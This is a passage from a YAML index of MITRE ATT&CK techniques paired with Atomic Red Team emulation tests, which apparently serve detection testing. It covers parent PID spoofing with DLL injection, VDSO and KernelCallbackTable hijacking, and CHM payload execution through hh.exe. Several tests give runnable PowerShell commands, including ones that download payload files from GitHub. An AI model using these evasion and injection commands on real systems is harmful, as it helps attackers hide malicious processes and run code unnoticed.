        Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Metadata'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Heuristic Detection
      - Host Forensic Analysis
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1134.004
    atomic_tests:
    - name: Parent PID Spoofing using PowerShell
      auto_generated_guid: '069258f4-2162-46e9-9a25-c9c6c56150d2'
      description: |
        This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
        Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and
        calc.exe will be launched.

        Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
      supported_platforms:
      - windows
      input_arguments:
        parent_process_name:
          description: Name of the parent process
          type: string
          default: explorer
        spawnto_process_path:
          description: Path of the process to spawn
          type: path
          default: C:\Program Files\Internet Explorer\iexplore.exe
        dll_process_name:
          description: Name of the created process from the injected dll
          type: string
          default: calculator
        dll_path:
          description: Path of the dll to inject
          type: path
          default: PathToAtomicsFolder\T1134.004\bin\calc.dll
        spawnto_process_name:
          description: Name of the process to spawn
          type: string
          default: iexplore
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL to inject must exist on disk at specified location (#{dll_path})

          '
        prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}"
      - description: 'PPID.ps1 must exist on disk at $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1

          '
        prereq_command: 'if (Test-Path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1" -OutFile "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"
      executor:
        command: |
          . "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"
          $ppid=Get-Process #{parent_process_name} | select -expand id
          PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}"
        cleanup_command: |
          Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore
          Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
        name: powershell
    - name: Parent PID Spoofing - Spawn from Current Process
      auto_generated_guid: 14920ebd-1d61-491a-85e0-fe98efe37f25
      description: Spawns a powershell.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path or name of process to spawn
          type: path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_pid:
          description: PID of process to spawn from
          type: string
          default: "$PID"
        command_line:
          description: Specified command line to use
          type: string
          default: "-Command Start-Sleep 10"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine
          ''#{command_line}'' -ParentId #{parent_pid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from Specified Process
      auto_generated_guid: cbbff285-9051-444a-9d17-c07cd2d230eb
      description: Spawns a notepad.exe process as a child of the current process.
      supported_platforms:
      - windows
      input_arguments:
        parent_pid:
          description: PID of process to spawn from
          type: string
          default: "$PID"
        test_guid:
          description: Defined test GUID
          type: string
          default: 12345678-1234-1234-1234-123456789123
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid
          #{test_guid}'
        name: powershell
    - name: Parent PID Spoofing - Spawn from svchost.exe
      auto_generated_guid: e9f2b777-3123-430b-805d-5cedc66ab591
      description: Spawnd a process as a child of the first accessible svchost.exe
        process.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: string
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine,
          ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" |
          Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path}
          -CommandLine ''#{command_line}'''
        name: powershell
    - name: Parent PID Spoofing - Spawn from New Process
      auto_generated_guid: 2988133e-561c-4e42-a15f-6281e6a9b2db
      description: Creates a notepad.exe process and then spawns a powershell.exe
        process as a child of it.
      supported_platforms:
      - windows
      input_arguments:
        command_line:
          description: Specified command line to use
          type: string
          default: "-Command Start-Sleep 10"
        file_path:
          description: File path or name of process to spawn
          type: path
          default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
        parent_name:
          description: Parent process to spoof from
          type: path
          default: "$Env:windir\\System32\\notepad.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent
          -FilePath #{file_path} -CommandLine ''#{command_line}'''
        name: powershell
  T1055.014:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5
      created: '2020-01-14T01:35:00.781Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1055.014
        url: https://attack.mitre.org/techniques/T1055/014
      - source_name: Backtrace VDSO
        url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
          Retrieved June 15, 2020.
      - source_name: Syscall 2014
        url: https://lwn.net/Articles/604515/
        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
          2. Retrieved June 16, 2020.
      - source_name: GNU Acct
        url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
      - source_name: RHEL auditd
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
      - source_name: ArtOfMemoryForensics
        description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
      - source_name: ELF Injection May 2009
        url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
          GOT poisoning. Retrieved March 15, 2020.
      - source_name: VDSO Aug 2005
        url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
          June 16, 2020.
      - source_name: Chokepoint preload rootkits
        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may inject malicious code into processes via VDSO
        hijacking in order to evade process-based defenses as well as possibly elevate
        privileges. Virtual dynamic shared object (vdso) hijacking is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nVDSO hijacking involves redirecting calls to dynamically linked shared
        libraries. Memory protections may prevent writing executable code to a process
        via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).
        However, an adversary may hijack the syscall interface code stubs mapped into
        a process from the vdso shared object to execute syscalls to open and map
        a malicious shared object. This code can then be invoked by redirecting the
        execution flow of the process via patched memory address references stored
        in a process' global offset table (which store absolute addresses of mapped
        library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace
        VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in
        the context of another process may allow access to the process's memory, system/network
        resources, and possibly elevated privileges. Execution via VDSO hijacking
        may also evade detection from security products since the execution is masked
        under a legitimate process.  "
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: VDSO Hijacking
      x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace
        and mmap, that can be used to attach to, manipulate memory, then redirect
        a processes' execution path. Monitoring for Linux specific calls such as the
        ptrace system call should not generate large amounts of data due to their
        specialized nature, and can be a very effective method to detect some of the
        common process injection methods.(Citation: ArtOfMemoryForensics)(Citation:
        GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1574.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Services File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_detection: "Look for changes to binaries and service executables that
        may normally occur during software updates. If an executable is written, renamed,
        and/or moved to match an existing service executable, it could be detected
        and correlated with other suspicious behavior. Hashing of binaries and service
        executables could be used to detect replacement against historical data.\n\nLook
        for abnormal process call trees from typical processes and services and for
        execution of other commands that could relate to Discovery or other adversary
        techniques. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
      created: '2020-03-12T20:43:53.998Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/010
        external_id: T1574.010
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1574.013:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde
      type: attack-pattern
      created: '2022-02-25T15:27:44.927Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.013
        url: https://attack.mitre.org/techniques/T1574/013
      - source_name: Lazarus APT January 2022
        url: https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
        description: Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus
          APT leverages Windows Update client, GitHub in latest campaign. Retrieved
          January 27, 2022.
      - source_name: 'FinFisher exposed '
        url: https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
        description: 'Microsoft Defender Security Research Team. (2018, March 1).
          FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex
          virtual machines. Retrieved January 27, 2022.'
      - source_name: Windows Process Injection KernelCallbackTable
        url: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
        description: 'odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable
          used by FinFisher / FinSpy. Retrieved February 4, 2022.'
      - source_name: NtQueryInformationProcess
        url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
        description: Microsoft. (2021, November 23). NtQueryInformationProcess function
          (winternl.h). Retrieved February 4, 2022.
      modified: '2022-05-11T14:00:00.188Z'
      name: KernelCallbackTable
      description: |-
        Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)

        An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.

        A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

        The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.

        Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>WriteProcessMemory()</code> and <code>NtQueryInformationProcess()</code> with the parameter set to <code>ProcessBasicInformation</code> may be used for this technique.(Citation: Lazarus APT January 2022)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1542.004:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc
      type: attack-pattern
      created: '2020-10-20T00:05:48.790Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1542.004
        url: https://attack.mitre.org/techniques/T1542/004
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: ROMMONkit
      description: |-
        Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)


        ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: There are no documented means for defenders to validate the
        operation of the ROMMON outside of vendor support. If a network device is
        suspected of being compromised, contact the vendor to assist in further investigation.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1218.001:
    technique:
      modified: '2023-10-18T16:31:56.936Z'
      name: 'Signed Binary Proxy Execution: Compiled HTML File'
      description: |-
        Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

        A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.

        Monitor presence and use of CHM files, especially if they are not typically used within an environment.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      type: attack-pattern
      id: attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d
      created: '2020-01-23T18:53:54.377Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1218/001
        external_id: T1218.001
      - source_name: Microsoft CVE-2017-8625 Aug 2017
        description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer
          Security Feature Bypass Vulnerability. Retrieved October 3, 2018.
        url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625
      - source_name: Microsoft HTML Help May 2018
        description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved
          October 3, 2018.
        url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
      - source_name: Microsoft HTML Help Executable Program
        description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved
          October 3, 2018.
        url: https://msdn.microsoft.com/windows/desktop/ms524405
      - source_name: Microsoft HTML Help ActiveX
        description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved
          October 3, 2018.
        url: https://msdn.microsoft.com/windows/desktop/ms644670
      - source_name: MsitPros CHM Aug 2017
        description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using
          CHM – CVE-2017-8625. Retrieved October 3, 2018.
        url: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1218.001
    atomic_tests:
    - name: Compiled HTML Help Local Payload
      auto_generated_guid: 5cb87818-0d7c-4469-b7ef-9224107aebe8
      description: |
        Uses hh.exe to execute a local compiled HTML Help payload.
        Upon execution calc.exe will open
      supported_platforms:
      - windows
      input_arguments:
        local_chm_file:
          description: Local .chm payload
          type: path
          default: PathToAtomicsFolder\T1218.001\src\T1218.001.chm
      dependency_executor_name: powershell
      dependencies:
      - description: 'The payload must exist on disk at specified location (#{local_chm_file})

          '
        prereq_command: 'if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"
      executor:
        command: 'hh.exe "#{local_chm_file}"

          '
        name: command_prompt
    - name: Compiled HTML Help Remote Payload
      auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d
      description: |
        Uses hh.exe to execute a remote compiled HTML Help payload.
        Upon execution displays an error saying the file cannot be open
      supported_platforms:
      - windows
      input_arguments:
        remote_chm_file:
          description: Remote .chm payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm
      executor:
        command: 'hh.exe #{remote_chm_file}

          '
        name: command_prompt
    - name: Invoke CHM with default Shortcut Command Execution
      auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7
      description: Executes a CHM file with the default Shortcut Command method.
      supported_platforms:
      - windows
      input_arguments:
        chm_file_path:
          description: Default path of CHM
          type: string
          default: Test.chm
        hh_file_path:
          description: path of modified HH.exe
          type: path
          default: "$env:windir\\hh.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath
          #{chm_file_path}'
        name: powershell
    - name: Invoke CHM with InfoTech Storage Protocol Handler
      auto_generated_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6
      description: Executes a CHM file with the ITS protocol handler.
      supported_platforms:
      - windows
      input_arguments:
        hh_file_path:
          description: path of modified HH.exe
          type: path
          default: "$env:windir\\hh.exe"
        infotech_storage_handler:
          description: Default InfoTech Storage Protocol Handler
          type: string
          default: its
        chm_file_path:
          description: Default path of CHM
          type: string
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler}
          -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Invoke CHM Simulate Double click
      auto_generated_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a
      description: Executes a CHM file simulating a user double click.
      supported_platforms:
      - windows
      input_arguments:
        chm_file_path:
          description: Default path of CHM
          type: string
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Invoke CHM with Script Engine and Help Topic
      auto_generated_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5
      description: Executes a CHM file with a defined script engine, ITS Protocol
        Handler, and help topic extension.
      supported_platforms:
      - windows
      input_arguments:
        topic_extension:
          description: Default Help Topic
          type: string
          default: html
        hh_file_path:
          description: path of modified HH.exe
          type: path
          default: "$env:windir\\hh.exe"
        infotech_storage_handler:
          description: Default InfoTech Storage Protocol Handler
          type: string
          default: its
        script_engine:
          description: Default Script Engine
          type: string
          default: JScript
        chm_file_path:
          description: Default path of CHM
          type: string
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
